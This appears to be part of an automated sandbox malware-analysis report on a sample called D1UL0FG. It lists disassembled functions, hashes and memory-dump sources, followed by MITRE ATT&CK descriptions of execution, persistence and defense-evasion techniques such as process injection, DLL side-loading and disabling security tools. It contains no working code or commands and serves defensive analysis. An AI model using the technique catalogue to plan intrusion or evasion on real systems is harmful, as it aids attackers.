Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: ccac5f17aa91da4f3bae42de7e7333904383ed8f97faa160faf07aaa8124ee46
Instruction ID: 1d917f13ee69e1b3a437342bec29457ba60b02bf815dc72084d3c3190bea1fdb
Opcode Fuzzy Hash: ccac5f17aa91da4f3bae42de7e7333904383ed8f97faa160faf07aaa8124ee46
Instruction Fuzzy Hash: C8114F23A3D64682FA58B725A55127963915F847B0F4483B4E97DC76F6EF2CA801A301

Function 00007FF8A92E21C1 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 355COMMON

Download Yara Rule

APIs

00007FF8C61208A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8A932E894

Strings

&, xrefs: 00007FF8A932EBCA
..\s\ssl\statem\statem_clnt.c, xrefs: 00007FF8A932E89A, 00007FF8A932EBD6
resumption, xrefs: 00007FF8A932EB49

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: 00007C61208
String ID: &$..\s\ssl\statem\statem_clnt.c$resumption
API String ID: 3535234312-1441847574
Opcode ID: a2a1fe7ef8bbf980694a84b1801f65fd6b1e6e9000ff944b82d81e57b58df6bb
Instruction ID: 71da4d4a50296c2bc98efed0c59985ac748500e1dacac33ff74a48458ccc273c
Opcode Fuzzy Hash: a2a1fe7ef8bbf980694a84b1801f65fd6b1e6e9000ff944b82d81e57b58df6bb
Instruction Fuzzy Hash: 50F19832A0EAC195EB208F1AE4853A9BBB5FB94BC4F049135DA8D87795DF7DE580C700

Function 00007FF8A9314EF0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 268COMMON

Download Yara Rule

APIs

00007FF8C61208A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8A9314F7E

Strings

, xrefs: 00007FF8A93150D7
..\s\ssl\ssl_sess.c, xrefs: 00007FF8A9314F16
T, xrefs: 00007FF8A9314F9E

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: 00007C61208
String ID: $..\s\ssl\ssl_sess.c$T
API String ID: 3535234312-2024727245
Opcode ID: bae10787738cc56e37b62d3b1ee36bf99efdbc286f7b95d1d095db50d282c8fb
Instruction ID: 6eafb82b2fa5beacf5ab01b5025083faaebd1b4145ae6de713f54de044b4afc7
Opcode Fuzzy Hash: bae10787738cc56e37b62d3b1ee36bf99efdbc286f7b95d1d095db50d282c8fb
Instruction Fuzzy Hash: 03C19B32A0EAC2A2EB659F26D8547F927A1EB84BC4F145035DE1D8B7A5EF3CE541C700

Function 00007FF67AEEFC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEEFF17

Part of subcall function 00007FF67AEE7AAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE7AC9

Strings

UTF-8, xrefs: 00007FF67AEEFE96
ccs, xrefs: 00007FF67AEEFE52
UTF-16LEUNICODE, xrefs: 00007FF67AEEFEB5

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction ID: db7d6e1f5c1a643dc1519314539446ccaa9f6f0f31b074e72d4fdf170bbecf2e
Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction Fuzzy Hash: 05819D33E2C24285F7646F2981503793BA0AB11B58FE580B5DA0DD72BADF2DF901E701

Function 00007FF8A8631FA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

00007FF8C6126570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A8631FD8
00007FF8C6126570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A8631FF6

Strings

CJK UNIFIED IDEOGRAPH-, xrefs: 00007FF8A8631FEC
HANGUL SYLLABLE , xrefs: 00007FF8A8631FC5

Memory Dump Source

Source File: 00000006.00000002.3002205748.00007FF8A8631000.00000040.00000001.01000000.0000001A.sdmp, Offset: 00007FF8A8630000, based on PE: true

Associated: 00000006.00000002.3002160686.00007FF8A8630000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A8694000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A86E3000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A873C000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A8741000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002205748.00007FF8A8744000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002828639.00007FF8A8745000.00000080.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000006.00000002.3002876682.00007FF8A8747000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a8630000_D1UL0FG.jbxd

Similarity

API ID: 00007C6126570
String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
API String ID: 800424832-87138338
Opcode ID: c8e681eb15480172cfe4a28a3257cda92461c1a9f1febbdb02df2df24e1a544b
Instruction ID: e26d115abbbd81b7980b6ce1885f9e03e3487c0964a51a2c6e8296169f755039
Opcode Fuzzy Hash: c8e681eb15480172cfe4a28a3257cda92461c1a9f1febbdb02df2df24e1a544b
Instruction Fuzzy Hash: 40614932B1A20266F6608A19E5087BA7392FF80BD1F446235E96D477C9DF3CE409C714

Function 00007FF67AEEF9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF67AEEFAEC
_get_daylight.LIBCMT ref: 00007FF67AEEFAFD
_get_daylight.LIBCMT ref: 00007FF67AEEFB0E
_isindst.LIBCMT ref: 00007FF67AEEFBD9

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction ID: 10c56d16edc8ce774b309087459a0f5709734dadeac67502bc7988c8abfcf43d
Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction Fuzzy Hash: B1510473F2C2158AFB24EF6499616BC37A1AB40358F914279DE1ED2AF5DF38A4029700

Function 00007FF67AEF5B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67AEF17D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF1803

_get_daylight.LIBCMT ref: 00007FF67AEF5CA4
_get_daylight.LIBCMT ref: 00007FF67AEF5CB5

Strings

?, xrefs: 00007FF67AEF5C35

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 8108d8be77440c3e9c62f2a415d3a3f63afd5a4d850aaf976d1496cecaf540be
Instruction ID: 07ca307dfe24972e1085f23b7e02e2018b70b1bf25b10b42bbcecd75f8bde3c8
Opcode Fuzzy Hash: 8108d8be77440c3e9c62f2a415d3a3f63afd5a4d850aaf976d1496cecaf540be
Instruction Fuzzy Hash: DA412813A2C78242FBA4AB25F40137A6790EBA0BA4F144279EE5D87AF5DF3DD541DB00

Function 00007FF8A92E23C4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

00007FF8BFB911F0.VCRUNTIME140 ref: 00007FF8A931ED98
00007FF8BFB911F0.VCRUNTIME140 ref: 00007FF8A931EDCF

Strings

..\s\ssl\statem\extensions_clnt.c, xrefs: 00007FF8A931ECDE, 00007FF8A931EE14, 00007FF8A931EE48

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: 00007B911
String ID: ..\s\ssl\statem\extensions_clnt.c
API String ID: 2143881289-592572767
Opcode ID: 2277d602e12e024388a9d4cef9287e1d4121b4c948b8fb80c28345a1f791c9cc
Instruction ID: c5b1fac7c1b057711348db01dbf16ce5177fbad6db66578eb1f653be333b1ddb
Opcode Fuzzy Hash: 2277d602e12e024388a9d4cef9287e1d4121b4c948b8fb80c28345a1f791c9cc
Instruction Fuzzy Hash: EA419D7270EAC196EB608F15E5402AD67B4FB44BC4F685032DB4C87BA9EF7DD5A18700

Function 00007FF67AEECCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF67AEECDBF
GetLastError.KERNEL32 ref: 00007FF67AEECDE1

Strings

U, xrefs: 00007FF67AEECD6B

Memory Dump Source

Source File: 00000006.00000002.3001876429.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000006.00000002.3001832554.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3001937684.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002021566.00007FF67AF11000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.3002115379.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction ID: 36159fc43ec5a3f4997be3bbefe2bca9038f51860b30d1743edf442ec718850a
Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction Fuzzy Hash: 8241C373B28A8585EB609F65E4443BA6760FB88794F404035EE4DC7BA8EF3DD451DB40

Function 00007FF8A92E6540 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00007FF8A92E658D
SystemTimeToFileTime.KERNEL32 ref: 00007FF8A92E659D

Strings

gfff, xrefs: 00007FF8A92E65CF

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: Time$System$File
String ID: gfff
API String ID: 2838179519-1553575800
Opcode ID: 5bab4889fdff038a34dd7d6efd02d934e11c3433e8613633f5b88581a3d60216
Instruction ID: 0d0638d31299d4ac5681b764cb2292416960e42a5d496324ec31ac030e45157b
Opcode Fuzzy Hash: 5bab4889fdff038a34dd7d6efd02d934e11c3433e8613633f5b88581a3d60216
Instruction Fuzzy Hash: F721C172A1968796EF948F2DE484379BAE0EB88BD8F449035DA6DC7758EE3CD0408700

Function 00007FF8A92E175D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

00007FF8BFB911F0.VCRUNTIME140 ref: 00007FF8A9325066

Strings

..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FF8A932507D, 00007FF8A93250C1
3, xrefs: 00007FF8A93250C8

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: 00007B911
String ID: ..\s\ssl\statem\extensions_srvr.c$3
API String ID: 2143881289-3555168737
Opcode ID: 6667dba7c5238e8d1662bf7e78e192f7ee7ee4d5288dc2d1f2b8f39ccf0876d4
Instruction ID: 1b469547e59312e13cbec6e6cc6bb73bebf5a9749b6bb2ecddcb0896b05eae26
Opcode Fuzzy Hash: 6667dba7c5238e8d1662bf7e78e192f7ee7ee4d5288dc2d1f2b8f39ccf0876d4
Instruction Fuzzy Hash: 6321AB3270EA8196E7508F10E8803AC63A4E749BC4F585131DA4C8BB99DE7DD690C700

Function 00007FF8A92E6FA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00007FF8A92E6FC6
SystemTimeToFileTime.KERNEL32 ref: 00007FF8A92E6FD6

Strings

gfff, xrefs: 00007FF8A92E700A

Memory Dump Source

Source File: 00000006.00000002.3007572245.00007FF8A92E1000.00000040.00000001.01000000.00000017.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000006.00000002.3007520980.00007FF8A92E0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9354000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9356000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9379000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A9384000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007572245.00007FF8A938E000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007939655.00007FF8A9391000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000006.00000002.3007986367.00007FF8A9393000.00000004.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8a92e0000_D1UL0FG.jbxd

Similarity

API ID: Time$System$File
String ID: gfff
API String ID: 2838179519-1553575800
Opcode ID: 47e4b42b83e78b7af79a6160f4da4c1814caf13c39811c5425ac0f60e84bf5e8
Instruction ID: 4e1f58f5d8c545570e3f13a82bfd64df253f54345614e793646c03fb702d81ec
Opcode Fuzzy Hash: 47e4b42b83e78b7af79a6160f4da4c1814caf13c39811c5425ac0f60e84bf5e8
Instruction Fuzzy Hash: A001DBE2B1998552EF60DF39F841165A7E0E7CC7C4B449031EB5DCBB69EE2CD1418700

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
